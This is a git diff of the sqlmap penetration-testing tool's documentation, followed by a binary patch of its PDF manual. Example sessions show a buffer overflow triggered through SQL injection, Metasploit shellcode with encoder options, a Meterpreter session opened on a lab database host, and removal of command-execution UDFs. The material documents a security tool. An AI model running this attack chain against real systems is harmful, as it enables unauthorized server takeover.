+[hh:mm:21] [INFO] xp_cmdshell extended procedure is available
+[hh:mm:21] [INFO] creating Metasploit Framework 3 multi-stage shellcode for the exploit
+which connection type do you want to use?
+[1] Bind TCP (default)
+[2] Bind TCP (No NX)
+[3] Reverse TCP
+[4] Reverse TCP (No NX)
+>
+which is the back-end DBMS address? [192.168.1.131]
+which remote port numer do you want to use? [39391] 62719
+which payload do you want to use?
+[1] Reflective Meterpreter (default)
+[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
+[3] Shell
+[4] Reflective VNC
+[5] PatchUp VNC (only from Metasploit development revision 6742)
+>
+which payload encoding do you want to use?
+[1] No Encoder
+[2] Alpha2 Alphanumeric Mixedcase Encoder
+[3] Alpha2 Alphanumeric Uppercase Encoder
+[4] Avoid UTF8/tolower
+[5] Call+4 Dword XOR Encoder
+[6] Single-byte XOR Countdown Encoder
+[7] Variable-length Fnstenv/mov Dword XOR Encoder
+[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
+[9] Non-Alpha Encoder
+[10] Non-Upper Encoder
+[11] Polymorphic XOR Additive Feedback Encoder (default)
+[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
+[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
+>
+[hh:mm:50] [INFO] creation in progress .................. done
+[hh:mm:08] [INFO] handling DEP
+[hh:mm:08] [INFO] the back-end DBMS underlying operating system supports DEP: going to
+handle it
+[hh:mm:08] [INFO] checking DEP system policy
+[hh:mm:09] [INFO] retrieved: OPTIN
+[hh:mm:12] [INFO] only Windows system binaries are covered by DEP by default
+[hh:mm:12] [INFO] running Metasploit Framework 3 command line interface locally, wait..
+[hh:mm:12] [INFO] triggering the buffer overflow vulnerability, wait..
+[*] Please wait while we load the module tree...
+[*] Started bind handler
+[*] Starting the payload handler...
+[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
+[*] Sending stage (718336 bytes)
+[*] Meterpreter session 1 opened (192.168.1.161:33765 -> 192.168.1.131:62719)
+
+meterpreter > Loading extension priv...success.
+meterpreter > getuid
+Server username: NT AUTHORITY\NETWORK SERVICE
+meterpreter > exit
+
+
+
+
It is possible to update sqlmap to the latest stable version available on
its
-SourceForge File List page by running it with the
+SourceForge File List page by running it with the
--update
option.
@@ -4233,7 +5082,7 @@ $ python sqlmap.py --update -v 4
[hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /doc/VERSION HTTP/1.1
Host: sqlmap.sourceforge.net
-User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
@@ -4252,7 +5101,7 @@ X-Pad: avoid browser bug
[hh:mm:56] [TRAFFIC OUT] HTTP request:
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
Host: www.sqlsecurity.com
-User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
language=en-US
Connection: close
@@ -4576,8 +5425,34 @@ vulnerable parameter which is the default behaviour.
Option: --cleanup
-This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
-Advanced SQL injection to operating system full control for the moment.
+It is recommended to clean up the back-end database management system from
+sqlmap temporary tables and created user-defined functions when you are
+done with owning the underlying operating system or file system.
+
+Example on a PostgreSQL 8.3.5 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/iis/get_int.aspx?id=1" \
+ -v 2 --cleanup
+
+[...]
+[hh:mm:18] [INFO] cleaning up the database management system
+[hh:mm:18] [DEBUG] removing support tables
+[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapfile
+[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapoutput
+do you want to remove sys_exec UDF? [Y/n]
+[hh:mm:20] [DEBUG] removing sys_exec UDF
+[hh:mm:20] [DEBUG] query: DROP FUNCTION sys_exec(text)
+do you want to remove sys_eval UDF? [Y/n]
+[hh:mm:21] [DEBUG] removing sys_eval UDF
+[hh:mm:21] [DEBUG] query: DROP FUNCTION sys_eval(text)
+[hh:mm:21] [INFO] database management system cleanup finished
+[hh:mm:21] [WARNING] remember that UDF shared library files saved on the file system can
+only be deleted manually
+
+
+
6. Disclaimer
diff --git a/doc/README.pdf b/doc/README.pdf
index c1ef3345fb578efd42c8bc72ce0eb8983455547a..48c798dd3d2b9931ab8e1285163cd4e55c96ee87 100644
GIT binary patch
delta 167172
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
